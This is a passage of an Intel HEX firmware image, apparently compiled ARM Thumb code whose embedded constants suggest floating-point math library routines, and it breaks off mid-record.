\n:10E1F00000F01AFE124B051C1B785BB2013310D0E5\n:10E20000201C02F053FE00280BD00E49201CFCF706\n:10E210001DFD00280DD10C49201CFCF703FD002832\n:10E2200001D1281C70BD02F05DFE22230025036091\n:10E23000F7E702F057FEFF252223ED050360F0E724\n:10E24000F00000208071B142B5F1CFC270B5051C5D\n:10E250000C1C00F00DFF124B061C1B785BB2013347\n:10E2600011D0211C201CFDF717FC00280BD1291C04\n:10E27000281CFDF711FC002805D10021201CFCF70B\n:10E28000CBFC002801D1301C70BD02F02BFE2123F5\n:10E2900000210360081CFCF76FFF061CF3E7C04673\n:10E2A000F000002070B5041C00F06AFF134B051C41\n:10E2B0001B785BB2013316D0211C201CFDF7ECFB50\n:10E2C000002810D10021201CFCF7C0FC00280AD136\n:10E2D0000021201CFCF7A0FC002806D002F002FE62\n:10E2E0002223074D0360281C70BD02F0FBFD212393\n:10E2F0000360044802F0E4FD051CF4E7F000002090\n:10E30000000080FFB8FA020070B5051C0C1C01F07B\n:10E310007FF8424B061C1B785BB2013322D0211CD4\n:10E32000201CFDF7B9FB00281CD1291C281CFDF777\n:10E33000B3FB0021002832D1281CFCF76DFC00281B\n:10E3400012D00021201CFCF767FC00282CD1201CD7\n:10E3500002F0ACFD002805D00021201CFCF762FC77\n:10E36000002841D1301C70BD301C02F09FFD0028F8\n:10E370001DD00021301CFCF74FFC0028F2D0281CD7\n:10E3800002F094FD0028EDD0201C02F08FFD002843\n:10E39000E8D002F0A7FD222300260360E2E7201C5C\n:10E3A000FCF73AFC0028DDD0FE26B605DAE7281C8B\n:10E3B00002F07CFD0028DCD0201C02F077FD002854\n:10E3C000D7D0311C301CFDF767FB00281CD102F0B0\n:10E3D00089FD222300210360281CFCF723FC002870\n:10E3E00008D1FF26F605BDE702F07CFD21230C4E87\n:10E3F0000360B7E7201CFFF74DFD211CFCF70CFC68\n:10E400000028EED1064EADE702F06CFD212300217D\n:10E410000360081CFCF7B0FE061CA3E7F000002018\n:10E42000000080FF70B5041C01F014FD0E4B051CAC\n:10E430001B785BB201330BD0211C201CFDF72CFB99\n:10E44000002805D10021201CFCF7ECFB002801D19D\n:10E45000281C70BD02F046FD212300210360081C2A\n:10E46000FCF78AFE051CF3E7F0000020F8B5150064\n:10E470004746CE465A001C006B4280B52B434C4F9A\n:10E480005208DB0F1343BB421DD84B005B089C4670\n:10E49000664643420343DB0F89463343BB4212D8EF\n:10E4A000444BE3182B433FD00226A3171E40CB0F4B\n:10E4B0001E436346034310D1022E38D0032E08D1E9\n:10E4C0003D483E4905E002000B0028002100FDF711\n:10E4D000A3FB0CBC90469946F8BD13002B431DD0FE\n:10E4E000BA422AD0BC4519D063469A1A12153C2A62\n:10E4F00020DC002C2EDA3C322CDA00200021012E08\n:10E500003CD0022E2FD0002EE3D02D4A2D4BFEF70B\n:10E5100065FD294A2C4BFEF761FDDAE74B4626489C\n:10E52000002B15DB2949D4E702F02AFBD1E722486A\n:10E530002549CEE720482549E1E7944523D0022E1E\n:10E54000F5D0032EBCD00020012E25D00021C0E73D\n:10E550001F49BEE72A002300FDF7D4FE02F0A2FC0B\n:10E5600002F00EFBCBE7164A164BFEF737FD020012\n:10E570000B0011481449FEF731FDAAE78024240658\n:10E580000B191900A5E7022E0ED0032E09D00A4858\n:10E59000012E04D00F499CE78021090699E70E4916\n:10E5A00097E70E480E4994E70C480E4991E7C0469C\n:10E5B0000000F07F000010C0182D4454FB2109C05A\n:10E5C000075C143326A6A13CFB210940FB21F93F3F\n:10E5D000FB21F9BFFB21E93FFB21E9BFD221337FBA\n:10E5E0007CD902C07CD90240694AF8B50C00CE46FD\n:10E5F00047460B00110080B50600050021409142FE\n:10E6000000D1A0E0002C68DD211500D1B1E0614A05\n:10E610001B03944680221B0B520313435B00EA0F3B\n:10E6200061449B186A00C80703D5D20F5B009B1892\n:10E63000AA0049108C4600218020162488468003B9\n:10E640000D189D4202DC29185B1B8044D50F5B002E\n:10E65000013CEB1852004008002CF1D1002081460B\n:10E6600080202026000609E08B425DD0D50F5B009C\n:10E67000013E5B1952004008002E16D005198B424E\n:10E68000F2DD2C180F00002D4ADB5B1AAA428941EB\n:10E6900049425B1A521BD50F5B00013E8144390091\n:10E6A0005B1952004008002EE8D1134344D14B4679\n:10E6B0005E0843465910384B994643464944DB07A8\n:10E6C00002D580231B061E43634618054318190014\n:10E6D00030000CBC90469946F8BD620052080243D7\n:10E6E0004AD0002C3AD1E80A153B02006D050028FB\n:10E6F000F9D080214903084244D180200021400301\n:10E7000000E0210052004C1C0242FAD020261000EA\n:10E710002A00A540361B591A1300F340034376E73D\n:10E72000E743FF0FCF19B0E795429FD82C18002D73\n:10E73000F6DB1F000023ADE74B4601331ED04E46EB\n:10E7400001367608B5E70200230030002100FEF70D\n:10E75000D3F932002300FDF75FFABAE70200230085\n:10E7600030002100FEF73AFC02000B00FDF7CAFD65\n:10E77000AFE722000023C0E72100AAE70123994662\n:10E78000C84496E701212A0020264942C3E7C04633\n:10E790000000F07F01FCFFFF0000E03FFE22F8B523\n:10E7A0004300041C01005B089205934210D009DC71\n:10E7B0009B4A934211DC8C229205934200DD7EE05D\n:10E7C000984804E0FCF7C4FF011CFCF7D5FCF8BD39\n:10E7D0000020002CFBDC9448F9E7002800DAC1E0B7\n:10E7E000FE208005FCF7B4FFFC218905FCF79AFEAA\n:10E7F000041C01F02FFB8D49061C050B201CFCF7A7\n:10E8000091FE8B49FCF740FB211CFCF78BFE8949EC\n:10E81000FCF79EFF211CFCF785FE8749FCF734FBC3\n:10E82000211CFCF77FFE8549FCF792FF211CFCF7B9\n:10E8300079FE8349FCF728FB211CFCF773FE814914\n:10E84000071C201CFCF76EFE7F49FCF781FF211C92\n:10E85000FCF768FE7D49FCF717FB211CFCF762FE04\n:10E860007B49FCF775FF211CFCF75CFEFE21890546\n:10E87000FCF70AFB011C381CFCF77EFC311CFCF782\n:10E8800051FE2D03071C291C281CFCF74BFE011C04\n:10E89000201CFCF75DFF291C041C301CFCF7F4FA5B\n:10E8A000011C201CFCF768FC011C381CFCF7ECFA6E\n:10E8B000291CFCF7E9FA011CFCF7E6FA87E7FCF7EC\n:10E8C00031FE5A49051CFCF72DFE5949FCF7DCFACC\n:10E8D000291CFCF727FE5749FCF73AFF291CFCF7D7\n:10E8E00021FE5549FCF7D0FA291CFCF71BFE5349C1\n:10E8F000FCF72EFF291CFCF715FE5149FCF7C4FA62\n:10E90000291CFCF70FFE4F49061C281CFCF70AFEC9\n:10E910004D49FCF71DFF291CFCF704FE4B49FCF791\n:10E92000B3FA291CFCF7FEFD4949FCF711FF291C2D\n:10E93000FCF7F8FDFE218905FCF7A6FA011C301C46\n:10E94000FCF71AFC211CFCF7EDFD011C4148FCF70B\n:10E95000FFFE011C201CFCF7FBFE011C3E48FCF7DF\n:10E96000F7FE34E7FE218905FCF78EFAFC218905C4\n:10E97000FCF7D8FD2D49041CFCF7D4FD2C49FCF70D\n:10E9800083FA211CFCF7CEFD2A49FCF7E1FE211C8D\n:10E99000FCF7C8FD2849FCF777FA211CFCF7C2FDFB\n:10E9A0002649FCF7D5FE211CFCF7BCFD2449FCF7E9\n:10E9B0006BFA211CFCF7B6FD061C201C01F04AFA7C\n:10E9C0002049051C201CFCF7ADFD1F49FCF7C0FECB\n:10E9D000211CFCF7A7FD1D49FCF756FA211CFCF78A\n:10E9E000A1FD1B49FCF7B4FE211CFCF79BFDFE2199\n:10E9F0008905FCF749FA011C301CFCF7BDFB291CFA\n:10EA0000FCF790FD1349FCF7A3FE291CFCF73CFA28\n:10EA1000011CFCF739FA011C1048FCF799FED6E6F8\n:10EA2000FFFFFF3EDB0FC93FDB0F494008EF113806\n:10EA3000047F4F3A4611243DA80A4E3E90B0A63EB0\n:10EA4000ABAA2A3E2EC69D3D6133303F2D57014073\n:10EA500039D119406821A233DA0FC93FDA0F494092\n:10EA6000F0B5FE234646D6464F464400C0B5051CC9\n:10EA7000060064089B059C4200D1B3E000DDAAE0DB\n:10EA80008F4B9C420FDC8F4B9C4200DDCCE08E49CB\n:10EA9000FCF7FAF9FE218905FCF7D8F80300281CD9\n:10EAA000002B00D092E0281CFFF740F9011CFE204B\n:10EAB0008005FCF74DFEFC218905FCF733FD8349F9\n:10EAC000051CFCF72FFD8249FCF7DEF9291CFCF739\n:10EAD00029FD8049FCF73CFE291CFCF723FD7E49FB\n:10EAE000FCF7D2F9291CFCF71DFD7C49FCF730FE30\n:10EAF000291CFCF717FD7A49FCF7C6F9291CFCF71D\n:10EB000011FD78498046281CFCF70CFD7649FCF77E\n:10EB10001FFE291CFCF706FD7449FCF7B5F9291CFA\n:10EB2000FCF700FD7249FCF713FE291CFCF7FAFC08\n:10EB3000FE218905FCF7A8F98146281C01F08AF915\n:10EB40006C4B071C9C425ADC011C040BFCF79CF923\n:10EB5000494682464046FCF70FFB011C5046FCF735\n:10EB6000E1FC24038046211C201CFCF7DBFC011C7B\n:10EB7000281CFCF7EDFD211C051C381CFCF784F952\n:10EB8000011C281CFCF7F8FA011CFCF77DF9011C9C\n:10EB90005948FCF7DDFD011C4046FCF7D9FD211C5E\n:10EBA000051C201CFCF770F9011C5448FCF7D0FD33\n:10EBB000011C281CFCF7CCFD011C5048FCF7C8FDCB\n:10EBC000002E03DC80231B069C4660441CBC904640\n:10EBD0009946A246F0BD011CFCF7BAFD011CFCF7EA\n:10EBE000CBFAF3E74649FCF79DFC4349041C281C7B\n:10EBF000FCF798FC011C201CFCF746F9E6E74946A7\n:10EC00004046FCF7B9FA391CFCF78CFC391CFCF7C0\n:10EC10003BF9011CFCF738F93A49FCF735F9011CBE\n:10EC20003748FCF795FDCBE7011CFCF77BFC274937\n:10EC3000041CFCF777FC2649FCF726F9211CFCF79D\n:10EC400071FC2449FCF784FD211CFCF76BFC224974\n:10EC5000FCF71AF9211CFCF765FC2049FCF778FD4C\n:10EC6000211CFCF75FFC1E49FCF70EF9211CFCF788\n:10EC700059FC1C49061C201CFCF754FC1A49FCF7E3\n:10EC800067FD211CFCF74EFC1849FCF7FDF8211C20\n:10EC9000FCF748FC1649FCF75BFD211CFCF742FC25\n:10ECA000FE218905FCF7F0F8011C301CFCF764FA22\n:10ECB000291CFCF737FC291CFCF7E6F886E7C04660\n:10ECC000FFFFFF3EFFFFFF31CAF2497108EF113825\n:10ECD000047F4F3A4611243DA80A4E3E90B0A63E0E\n:10ECE000ABAA2A3E2EC69D3D6133303F2D570140D1\n:10ECF00039D119409999793F2EBD3BB3DB0F493F7C\n:10ED0000DB0FC93F2EBD3B33F8B54B000C1CFF2178\n:10ED10005B08C9058B4215DC4200844652088A42D2\n:10ED200010DCFE25AD05AC423ED00225A7173D40C4\n:10ED3000C70F3D43002A0AD1022D29D0032D05D14A\n:10ED4000304803E0011C201CFCF79EF8F8BD002BA6\n:10ED500019D08B421ED08A4215D0D31ADB153C2B1A\n:10ED600025DC002C2FDA3C332DDA0020012D3AD09F\n:10ED7000022D30D0002DE9D02349FCF785F8234936\n:10ED8000FCF7E6FCE2E76346002B1ADB2048DDE7F0\n:10ED90001E48DBE79A420CD0022DF9D0032DCFD0CC\n:10EDA000012D25D00020D1E7FEF72AFECEE7184836\n:10EDB000DCE7022D23D0032D1FD0012D1BD01548D9\n:10EDC000C4E71548C2E7211CFCF7D6F9FEF7AEFFF1\n:10EDD000FEF716FECAE70C49FCF756F8011C0B4873\n:10EDE000FCF7B6FCB2E780231B069C466044ADE707\n:10EDF00080200006AAE70948A8E70948A6E70948CD\n:10EE0000A4E7C046DB0F49C02EBDBB33DB0F494032\n:10EE1000DB0FC93FDB0F493FDB0FC9BFDB0F49BF2A\n:10EE2000E4CB16C0E4CB1640F0B5FF22D6464F46E1\n:10EE300046464300C0B5041C01005B08D20593425E\n:10EE400069D8C50F934200D1C0E0784A904269DC8E\n:10EE5000002800DAB4E0764A934268D9754A9342B2\n:10EE600000D9BFE0744BAE00F158201CFCF770FCD9\n:10EE7000724B0124F358641B9846071C651B4146DE\n:10EE8000381CFCF765FC011C041CFCF74BFB6C49AF\n:10EE9000061CFCF747FB6B49FCF75AFC311CFCF7DE\n:10EEA00041FB6949FBF7F0FF311CFCF73BFB67496D\n:10EEB000FCF74EFC311CFCF735FB6549FBF7E4FF22\n:10EEC000311CFCF72FFB011C201CFCF741FC011C32\n:10EED000061C8146201CFCF725FB8246002D58D0DD\n:10EEE0008020311CC005FCF733FC011C5046FCF7A8\n:10EEF00043F9011C4046FCF72BFC391CFCF728FCAD\n:10EF0000011CFE208005FCF723FC2B007D3361DB18\n:10EF1000ED05281801E0FBF7B7FF1CBC90469946A9\n:10EF2000A246F0BD4B49081CFCF7FCFAF5E74A4A3B\n:10EF3000934209D84749201CFBF7A6FFFE2189050B\n:10EF4000FBF784FE00286AD1211C201CFCF7EAFA9A\n:10EF50003B49051CFCF7E6FA3A49FCF7F9FB291C8A\n:10EF6000FCF7E0FA3849FBF78FFF291CFCF7DAFAC7\n:10EF70003649FCF7EDFB291CFCF7D4FA3449FBF7C2\n:10EF800083FF291CFCF7CEFA011C201CFCF7E0FBD8\n:10EF900081464946201CFCF7C5FA8021051CC9059D\n:10EFA0004846FCF7D5FB011C281CFCF7E5F8211CA2\n:10EFB000FCF7CEFB011CFE208005FCF7C9FBACE78B\n:10EFC000264A934200D846E70020A6E7002DA4D0A9\n:10EFD0000020A2E7D8216435ED0528180905FCF7C3\n:10EFE000A1FA9AE71E49201CFCF79CFA1D4BAD00C4\n:10EFF000E958FBF749FFFCF765FD0500FCF782FDCA\n:10F000001949061CFCF78EFA011C201CFCF7A0FB1A\n:10F010001649071C301CFCF785FA80462FE7FE21B5\n:10F02000201C8905FBF730FF77E7C0461772B14215\n:10F030001872B13E9115853FC4FA0200CCFA020065\n:10F040004CBB31330EEADD3555B38A38610B363BA4\n:10F05000ABAA2A3ECAF24971FFFF7F31B5F1CF4218\n:10F060003BAAB83FBCFA02008071313FD1F7173795\n:10F070004A00F8B5520840D03D4D43005B08AB4212\n:10F080003BDCFF24E405A24237DC93423ADBC50FA8\n:10F09000ED07934237D0044253D17E261F027642B9\n:10F0A000002F03DD013E7F00002FFBDCFF24E40581\n:10F0B0000C4253D17E2714027F42002C02DB013F19\n:10F0C0006400FCD534007E3443DB80234002400AD8\n:10F0D0001B04034338007E3036DB802249024C0A91\n:10F0E00012042243F61B9C1A002E11D05B00002C48\n:10F0F00001DB08D06300013EF5E7FCF713FA011CC1\n:10F10000FCF73AF8F8BDE80F1A4B8000C058F9E751\n:10F11000002C00DB2300002BF5D017490A008B429E\n:10F1200003DC5B00013F9342FBDD3A007E3218DBDB\n:10F13000124A7F37944663442B431800FF05384337\n:10F14000E0E7DE157F3EB1E77E214942C91B8A40D8\n:10F15000C8E77E204042801B8340BBE7D7157F3F36\n:10F16000B0E77E225242D71B3B412B431800C9E730\n:10F17000FFFF7F7FD4FA0200FFFF7F00000080FFC7\n:10F18000F8B5DE4657464E4645460300E0B5420018\n:10F1900044D000284DDB8E4A904200DDC5E08D4A08\n:10F1A0000021904206DC9821C905FCF7BBF9192122\n:10F1B00003004942DA155B025C0A874B7F3AE0188C\n:10F1C00080231B040340FE205218FE218005584076\n:10F1D000DE1520438905B618FCF7BAFA22007F4BEA\n:10F1E0000F32051C1A422BD10021FBF715FD002818\n:10F1F00000D19EE00020002E15D03000FCF782FCEC\n:10F200007749041CFCF78EF97649051C201CFCF795\n:10F2100089F9011C281CFBF737FE04E0CC200021F3\n:10F220000006FBF7A9FF3CBC90469946A246AB46B8\n:10F23000F8BD011CFCF78CFA0021FBF79DFFF2E7FB\n:10F240008021C905FBF720FE011C281CFBF794FF59\n:10F2500080463000FCF756FC414682464046FCF7AB\n:10F2600061F9614B011C99468346FCF75BF95F49E4\n:10F27000071CFCF757F95E49FBF706FE391CFCF743\n:10F2800051F95C49FBF700FE391CFCF74BF95A4970\n:10F29000FBF7FAFD5946FCF745F958498346381CF7\n:10F2A000FCF740F95649FBF7EFFD391CFCF73AF93A\n:10F2B0005449FBF7E9FD391CFCF734F9011C5846A9\n:10F2C000FBF7E2FD504BA1441C1B4B46071C1C43A3\n:10F2D000002C48DDFC21281C8905FCF723F9291C9A\n:10F2E000FCF720F9011C041C381CFBF7CDFD41463E\n:10F2F000FCF718F9071C002E49D039495046FCF795\n:10F3000011F93849061C5046FCF70CF9391CFBF77B\n:10F31000BBFD011C201CFCF71BFA291CFCF718FA8A\n:10F32000011C301CFCF714FA7DE7011CFBF7ACFD57\n:10F3300079E73649281CFCF7F5F8011CFC2080050C\n:10F34000FCF706FA291C041C281CFCF7EBF8011C2E\n:10F35000201CFCF7E7F8041C002E21D1211C281CDE\n:10F36000FCF7F6F95FE7011C281CFCF7F1F94146B0\n:10F37000FCF7D8F8041C002EF0D019495046FCF7D1\n:10F38000D1F81849061C5046FCF7CCF8C1E7011C1F\n:10F39000201CFCF7DDF9011C281CFCF7D9F942E719\n:10F3A0003000FCF7AFFB0E49061CFCF7BBF80D491B\n:10F3B000071C301CFCF7B6F8011C201CFCF7C8F930\n:10F3C000291CFCF7C5F9011C381CFCF7C1F92AE718\n:10F3D000FFFF7F7FFFFF7F0020FB4A00F0FF7F00E1\n:10F3E0008071313FD1F71737305CCFFF9788173ED8\n:10F3F00025333A3E2549923EABAA2A3F4FD01C3EC8\n:10F40000298E633ECDCCCC3E88C23500ABAAAA3E45\n:10F41000F0B54E464546DE465746E0B54E0087B04D\n:10F42000051C0C1C8946760810D0FF234700804637\n:10F430007F08DB059F4203DDD64801F041FD07E070\n:10F440009E420CDDFE239B059F42F5D1FE208005E8\n:10F4500007B03CBC90469946A246AB46F0BD00239F\n:10F460000093002800DA2FE1FF23DB059E4200D144\n:10F4700041E1FE239B059E4200D170E18023DB0524\n:10F48000994500D17DE1FC239B05994500D042E1DF\n:10F490004346281C002B00DB78E1FEF747FCFF23E6\n:10F4A000DB059F4200D14CE1002F00D145E1FE2356\n:10F4B0009B059F4200D138E1EB0F013B9B465A462A\n:10F4C000009B134300D18BE19A23DB059E4200DCB5\n:10F4D0008EE1B14B9F4200DCEDE2B04B9F4200DD7C\n:10F4E00004E3FE218905FCF733F9AD49061CFCF75E\n:10F4F00019F8AC49071C301CFCF714F8FA21051C5C\n:10F500008905301CFCF70EF8011CA748FCF720F910\n:10F51000311CFCF707F8011CFC208005FCF718F9EA\n:10F52000311C8146301CFBF7FDFF011C4846FBF7F0\n:10F53000F9FF9E49FBF7F6FF011C281CFCF708F9B0\n:10F54000011C051C381CFBF79FFC060B3603391CFD\n:10F55000301CFCF7FDF8011C281CFCF7F9F880466C\n:10F560005B46009D013D1D4300D057E2904F250BA7\n:10F570002D03291C201CFCF7EBF8311CFBF7D2FFF4\n:10F58000211C81464046FBF7CDFF011C4846FBF796\n:10F590007BFC291C8046301CFBF7C4FF011C061CA9\n:10F5A00081464046FBF770FC4500824604006D082A\n:10F5B000002800DC35E28623DB059D4200DD72E297\n:10F5C00000D161E2FC239B059D4200DD36E2002371\n:10F5D00000269B46240B24037649201CFBF7A2FF40\n:10F5E00049468246201CFCF7B3F8011C4046FCF754\n:10F5F000AFF87149FBF796FF7049051C201CFBF71B\n:10F6000091FF011C281CFBF73FFC051C011C504608\n:10F61000FBF73AFC5146041CFCF79AF8011C281C25\n:10F62000FCF796F8211C8146201CFBF77BFF644900\n:10F63000051CFBF777FF6349FCF78AF8291CFBF7E9\n:10F6400071FF6149FBF720FC291CFBF76BFF5F4949\n:10F65000FCF77EF8291CFBF765FF5D49FBF714FCFE\n:10F66000291CFBF75FFF011C201CFCF771F880468A\n:10F67000011C201CFBF756FF80218246C90540462D\n:10F68000FCF766F8011C5046FBF776FD49468046BC\n:10F69000201CFBF747FF4946FBF7F6FB011C4046E1\n:10F6A000FCF756F8211CFCF753F8011CFE208005DE\n:10F6B000FCF74EF83618F215002A00DC1BE2301C6D\n:10F6C000391CFBF72FFFC3E6424B9E4220DC424B26\n:10F6D0009E4200DCCDE69622F315D31A32001A4181\n:10F6E00011009940B14200D0C3E601231A40013312\n:10F6F0009B1A0093BDE6FE239B059F4200D1A5E621\n:10F7000038DD4B46201C002B00DBA1E600209FE6E5\n:10F7100002230093A8E6281CFEF708FBFF23DB0565\n:10F720009F4202D0002F00D0C1E64B46002B04DAE6\n:10F73000011CFE208005FBF71FFD4346002B00DB6C\n:10F7400086E6264B9C46009B67441F4300D05CE145\n:10F75000011CFBF7FDFF011CFBF70EFD78E64B4695\n:10F76000281C002B00DB73E6FE20291C8005FBF71C\n:10F7700003FD6DE64B46002BC8DA80231B06E0181C\n:10F7800066E6291C281CFBF7CDFE61E600F062FB53\n:10F790005EE6C046B8FA0200F7FF7F3F0700803FF1\n:10F7A00000AAB83F70A5EC36ABAAAA3E3BAAB83F68\n:10F7B000000080BF0072313F1872313F8CBEBF35F0\n:10F7C0004CBB31330EEADD3555B38A38610B363B1D\n:10F7D000ABAA2A3EFFFF7F4BFFFF7F3F000080C0A8\n:10F7E000291C281CFBF7B4FF011CFBF7C5FC2FE606\n:10F7F000FF23DB0500222B4206D19721C905FBF729\n:10F8000091FE182207005242FB157802FE277F3B2B\n:10F810009A18BB4B400ABF0501920743984208DD86\n:10F82000B84B984200DC4FE1B74B01329C46019245\n:10F8300067440023FE25059304930023AD0503933D\n:10F84000291C381CFBF784FF291C8246381CFBF757\n:10F850001BFB011CFE208005FBF78EFC011C0290A7\n:10F860005046FBF75FFEB9467B108027BF051F435C\n:10F870008023DB029C46039B67449C46060B67443F\n:10F8800036038046391C301CFBF74CFE011C5046E9\n:10F89000FBF75EFF291C8246381CFBF759FF011C51\n:10F8A0004846FBF755FF311CFBF73CFE011C504658\n:10F8B000FBF74EFF0299FBF735FE41468146404675\n:10F8C000FBF730FE9149071CFBF72CFE9049FBF734\n:10F8D000DBFA391CFBF726FE8E49FBF7D5FA391CFB\n:10F8E000FBF720FE8C49FBF7CFFA391CFBF71AFE19\n:10F8F0008A49FBF7C9FA391CFBF714FE8849FBF764\n:10F90000C3FA391C8246381CFBF70CFE011C50461A\n:10F91000FBF708FE311C071C4046FBF7B5FA4946C9\n:10F92000FBF700FE391CFBF7AFFA311C8246301C96\n:10F93000FBF7F8FD7B49051CFBF7A6FA5146FBF7E0\n:10F94000A3FA070B3F03391C301CFBF7EBFD75498D\n:10F95000061C381CFBF7FCFE291CFBF7F9FE011CFA\n:10F960005046FBF7F5FE4146FBF7DCFD391C8046AF\n:10F970004846FBF7D7FD011C4046FBF785FA814658\n:10F98000011C301CFBF780FA070B3F036649381C4B\n:10F99000FBF7C8FD311C051C381CFBF7D9FE011C08\n:10F9A0004846FBF7D5FE6149FBF7BCFD6049061CE4\n:10F9B000381CFBF7B7FD011C301CFBF765FA0499F6\n:10F9C000FBF762FA071C0198FCF79CF88146391C8A\n:10F9D000281CFBF759FA059B191C9846FBF754FAAB\n:10F9E0004946FBF751FA060B36034946301CFBF734\n:10F9F000AFFE4146FBF7ACFE291CFBF7A9FE011C3C\n:10FA0000381CFBF7A5FE8046AAE5009B012B00D021\n:10FA10001EE580231B069C46604419E5FE27BF05B2\n:10FA2000A5E5444B9D4259DC00D0CBE5311CFBF7EA\n:10FA30008FFE4146FBF714F900284FD180200004C7\n:10FA40000300ED157E3D2B411B195A001D005B0282\n:10FA50005B0A03431720120E37497F3A1141821A7D\n:10FA600013418D4329009B46002C01DA5B429B46E3\n:10FA7000301CFBF76DFE011C81464046FBF704FA83\n:10FA80005B460400DE05A5E52C494046FBF7FCF982\n:10FA9000311C81465046FBF75BFE011C4846FBF7D4\n:10FAA000D5F80028CAD02649381CFBF73BFD24496D\n:10FAB000FBF738FDCCE44B46002B00DB26E6204963\n:10FAC000081CFBF72FFDC3E41E4BFF2505931E4BBF\n:10FAD000AD05049380239B030393B1E61B49381CB7\n:10FAE000FBF720FD1949FBF71DFDB1E44B46002B48\n:10FAF000E5DC0020ACE45946FEF71CFAE0E5C04620\n:10FB000071C41C00D6B35D00000080FF42F1533E7B\n:10FB100055326C3E05A38B3EABAAAA3EB76DDB3EC9\n:10FB20009A99193F000040400038763F4F38763FA1\n:10FB3000A0C39D3600001643FFFF7F003CAA383368\n:10FB4000CAF2497100C0153FDCCFD1356042A20D29\n:10FB5000F0B557464E46DE464546E0B5AF4B47004A\n:10FB600089B00C0006007F089F4200DC74E0AC4BBB\n:10FB70009F4221DC0F23AB499F43002800DC24E196\n:10FB8000FBF7E6FDA84B051C9F4200D170E0A7499A\n:10FB9000FBF7DEFD011C2060281CFBF7D9FDA34903\n:10FBA000FBF7D6FD01256060280009B03CBC9046FB\n:10FBB0009946A246AB46F0BD9D4B9F426ADD9D4BE8\n:10FBC0009F424EDC862252429146FB1599444B4699\n:10FBD000DD057D1B281CFBF775FFFBF793FF011C60\n:10FBE0000590281CFBF7B4FD8721C905FBF79AFC9B\n:10FBF0008046FBF767FFFBF785FF011C0690051C9D\n:10FC00004046FBF7A5FD8721C905FBF78BFC0021CA\n:10FC10000790FBF701F8002800D1D4E00021281C50\n:10FC2000FAF7FAFF434243410133834A210001922C\n:10FC3000022205A800924A4600F030FA0500002E84\n:10FC4000B2DA802212069446236845426344236058\n:10FC5000636863446360A7E7002308604B60002586\n:10FC6000A2E7011CFBF774FD0025606020609BE7A4\n:10FC70007249FBF76DFD7249051CFBF769FD011C1C\n:10FC80002060281CFBF764FD6D49FBF761FD012531\n:10FC9000606089E7FEF74AF86A498046FBF742FC54\n:10FCA000FC218905FBF7F0F8FBF70CFF0500FBF7DB\n:10FCB00029FF5C498246FBF735FC011C4046FBF7F7\n:10FCC00047FD5A4980465046FBF72CFC8146011CF3\n:10FCD00040461F2D23DCFBF73BFDFF233A005A492A\n:10FCE0009A436B1E9B005B5883469A421AD05B4630\n:10FCF000594623604046FBF72BFD4946FBF728FD9C\n:10FD00006060002E00DB4FE780231B065B4423600E\n:10FD100080231B069C46604460606D4244E7FBF70D\n:10FD200017FD83465B46FF22DB0DFF151340FB1AD0\n:10FD3000082BDCDD41495046FBF7F4FB8146011CF2\n:10FD40004046FBF705FD8346011C03904046FBF748\n:10FD5000FFFC4946FBF7FCFC804639495046FBF75F\n:10FD6000E1FB4146FBF7F4FC011C81465846FBF7DA\n:10FD7000EFFCFF22C30D1340D846FB1A8346192B14\n:10FD8000B5DD32495046FBF7CDFB039B071C011C38\n:10FD9000181C9946FBF7DCFC011C80464846FBF723\n:10FDA000D7FC391CFBF7D4FC2949071C5046FBF74C\n:10FDB000B9FB391CFBF7CCFC011C81464046FBF724\n:10FDC000C7FC834693E703232FE7FBF75DF8164B49\n:10FDD000051C9F420ED01549FBF756F8011C206008\n:10FDE000281CFBF7B5FC1149FBF74EF801256060B4\n:10FDF0006D42D9E61149FBF747F81149051CFBF79D\n:10FE000043F8011C2060281CFBF7A2FC0C49FBF7FF\n:10FE10003BF8012560606D42C6E6C046D80F493FF9\n:10FE2000E3CB1640800FC93FD00FC93F434435375D\n:10FE3000800F4943FFFF7F7F5CFB020000443537A2\n:10FE400008A3852E84F9223FDCFA020000A3852E48\n:10FE500032318D242B49420070B50300061C520834\n:10FE60008A423BD8002A38D0002840DBFF21C90550\n:10FE7000C21501420AD180200004064001D03DE0B5\n:10FE80000E005B00711C0342FAD0921B7F3A1000F7\n:10FE900080225B025B0A12041A435300C10724D478\n:10FEA000802219210026002540105204AC189C42E3\n:10FEB00002DCA5181B1BB61801395B00520800298B\n:10FEC000F4D1002B02D0012301369E43FC239B0575\n:10FED0009C4676106644C005801970BD011CFBF776\n:10FEE00021FB311CFAF7D0FFF7E79300D8E7011C9C\n:10FEF000FBF72EFC011CFBF73FF9EEE701267642EB\n:10FF0000921BC3E7FFFF7F7FF8B54746CE46584BAD\n:10FF1000450080B5061C0F1C6D089D4248DCFBF7B0\n:10FF2000D1FD002800D19FE0311C301CFBF7FAFA0C\n:10FF30005049041CFBF7F6FA4F49FAF7A5FF211CBC\n:10FF4000FBF7F0FA4D49FBF703FC211CFBF7EAFA3B\n:10FF50004B49FAF799FF211CFBF7E4FA4949FBF7F3\n:10FF6000F7FB211CFBF7DEFA4749FAF78DFF211C4E\n:10FF7000FBF7D8FA8046FC21201C8905FBF7D2FA52\n:10FF80004146051C201CFBF7CDFA391C041C301C13\n:10FF9000FBF7C8FA011C201CFBF7DAFB011C281C2C\n:10FFA000FBF7D6FB011CFE208005FBF7D1FB53E0DD\n:10FFB000011CFBF7B7FA2F49041CFBF7B3FA2E49D3\n:10FFC000FAF762FF211CFBF7ADFA2C49FBF7C0FBE7\n:10FFD000211CFBF7A7FA2A49FAF756FF211CFBF769\n:10FFE000A1FA2849FBF7B4FB211CFBF79BFA264931\n:10FFF000FAF74AFF211CFBF795FA244B80469D42F5\n:020000040002F8\n:10000000B9DD234B9D422BDCFF231B069C46FE20C3\n:100010006544291C8005FBF79BFB8146FC21201CC5\n:100020008905FBF77FFA291CFBF792FB4146051C6B\n:10003000201CFBF777FA391C041C301CFBF772FA02\n:10004000011C201CFBF784FB011C281CFBF780FB18\n:10005000011C4846FBF77CFB0CBC90469946F8BD5A\n:100060000C4B0D4D9946D9E7FE208005F4E7C046BC\n:10007000FFFFFF314ED747ADF6740F317CF293345A\n:10008000010DD037610BB63AABAA2A3D9999993E3A\n:100090000000483F0000383F0000903EF0B5DE46CB\n:1000A00057464E464546E0B5DFB0039018000A912A\n:1000B00068990793A64B14000D928A00D1580691B7\n:1000C000010001390191221D00DA21E30723E21E1C\n:1000D000D1170B409B18DB10591C9B46CB000B9390\n:1000E0000B9A0D9B9B1A5A460593019BD41A069AAC\n:1000F000D6180ED40136699F22AD36190020002C87\n:1001000003DBA300F858FBF7FDFC013401C5B44242\n:10011000F4D1069B002B00DA69E3079A4AAB9446B8\n:1001200022AA92460C939946019B9F0022AB9846C7\n:10013000069BB84463449B